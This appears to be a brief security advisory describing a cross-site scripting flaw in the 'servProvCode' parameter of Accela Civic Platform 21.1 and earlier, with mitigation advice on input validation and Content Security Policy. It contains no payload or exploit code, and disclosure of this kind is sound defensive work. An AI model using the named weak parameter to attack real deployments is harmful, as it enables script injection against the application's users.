Accela Civic Platform 21.1 – ‘servProvCode’ Cross-Site-Scripting (XSS)

Accela Civic Platform version 21.1 and below is vulnerable to Cross-Site-Scripting (XSS) due to improper validation of user-supplied input in the 'servProvCode' parameter. An attacker can exploit this vulnerability by sending a maliciously crafted request to the vulnerable application. This can allow the attacker to execute arbitrary JavaScript code in the context of the vulnerable application.

Mitigation:

Input validation should be performed on all user-supplied input to prevent Cross-Site-Scripting (XSS) attacks. Additionally, the application should be configured to use a Content Security Policy (CSP) to prevent the execution of malicious JavaScript code.
